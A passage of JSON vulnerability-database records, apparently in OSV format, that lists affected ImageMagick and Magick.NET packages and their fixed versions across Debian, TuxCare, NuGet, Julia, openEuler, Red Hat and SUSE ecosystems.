23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16hdri-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16hdri-6-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-6.q16-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-6.q16hdri-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"perlmagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"Debian:12","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.11.60+dfsg-1.6+deb12u4"}]}],"versions":["8:6.9.11.60+dfsg-1.6","8:6.9.11.60+dfsg-1.6+deb12u1","8:6.9.11.60+dfsg-1.6+deb12u2","8:6.9.11.60+dfsg-1.6+deb12u3"]},{"source":"osv","ecosystem":"Debian:13","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:7.1.1.43+dfsg1-1+deb13u2"}]}],"versions":["8:7.1.1.43+dfsg1-1","8:7.1.1.43+dfsg1-1+deb13u1"]},{"source":"osv","ecosystem":"Debian:14","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:7.1.2.3+dfsg1-1"}]}],"versions":["8:7.1.1.43+dfsg1-1","8:7.1.1.46+dfsg1-1","8:7.1.1.47+dfsg1-1","8:7.1.1.47+dfsg1-2","8:7.1.2.1+dfsg1-1"]},{"source":"osv","ecosystem":"Debian:11","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.11.60+dfsg-1.3+deb11u6"}]}],"versions":["8:6.9.11.60+dfsg-1.3","8:6.9.11.60+dfsg-1.3+deb11u1","8:6.9.11.60+dfsg-1.3+deb11u2","8:6.9.11.60+dfsg-1.3+deb11u3","8:6.9.11.60+dfsg-1.3+deb11u4","8:6.9.11.60+dfsg-1.3+deb11u5"],"bundled":8},{"source":"osv","ecosystem":"Debian:12","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.11.60+dfsg-1.6+deb12u4"}]}],"versions":["8:6.9.11.60+dfsg-1.6","8:6.9.11.60+dfsg-1.6+deb12u1","8:6.9.11.60+dfsg-1.6+deb12u2","8:6.9.11.60+dfsg-1.6+deb12u3"],"bundled":5},{"source":"osv","ecosystem":"Debian:13","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:7.1.1.43+dfsg1-1+deb13u2"}]}],"versions":["8:7.1.1.43+dfsg1-1","8:7.1.1.43+dfsg1-1+deb13u1"],"bundled":5},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q16-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","6.8.8.1001","6.8.9.1","6.8.9.101","6.8.9.2","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","6.8.9.101","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","6.8.9.101","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q16-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","6.8.5.1001","6.8.5.401","6.8.5.402","6.8.6.301","6.8.6.601","6.8.6.801","6.8.7.1","6.8.7.101","6.8.7.501","6.8.7.502","6.8.7.901","6.8.8.1001","6.8.8.201","6.8.8.501","6.8.8.701","6.8.8.801","6.8.8.901","6.8.9.1","6.8.9.101","6.8.9.2","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q8-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","6.8.8.1001","6.8.9.1","6.8.9.101","6.8.9.2","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q8-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","6.8.5.1001","6.8.5.401","6.8.5.402","6.8.6.301","6.8.6.601","6.8.6.801","6.8.7.1","6.8.7.101","6.8.7.501","6.8.7.502","6.8.7.901","6.8.8.1001","6.8.8.201","6.8.8.501","6.8.8.701","6.8.8.801","6.8.8.901","6.8.9.1","6.8.9.101","6.8.9.2","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"Julia","package":"ImageMagick_jll","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.1.2004+0"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP3","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.2-1.oe2203sp3"}]}],"bundled":7},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.2-1.oe2203sp4"}]}],"bundled":7},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.2-1.oe2403sp1"}]}],"bundled":7},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP2","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.2-1.oe2403sp2"}]}],"bundled":7},{"source":"osv","ecosystem":"openEuler:20.03-LTS-SP4","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.28-1.oe2003sp4"}]}],"bundled":5},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.2-2.oe2403"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-9.el7_9"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-c++","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-9.el7_9"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-9.el7_9"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-9.el7_9"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-c++-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-9.el7_9"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-9.el7_9"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-9.el7_9"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP7","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.1.43-150700.3.13.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.1.43-150700.3.13.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 12 SP5-LTSS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.8.8.1-71.212.1"}]}],"bundled":6},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server LTSS Extended Security 12 SP5","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.8.8.1-71.212.1"}]}],"bundled":6},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP3-LTSS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.7.34-150200.10.62.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP3-LTSS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.7.34-150200.10.62.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP3","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.7.34-150200.10.62.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Enterprise Storage 7.1","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.7.34-150200.10.62.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP6","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.40.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP7","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.40.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.40.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.40.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.40.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 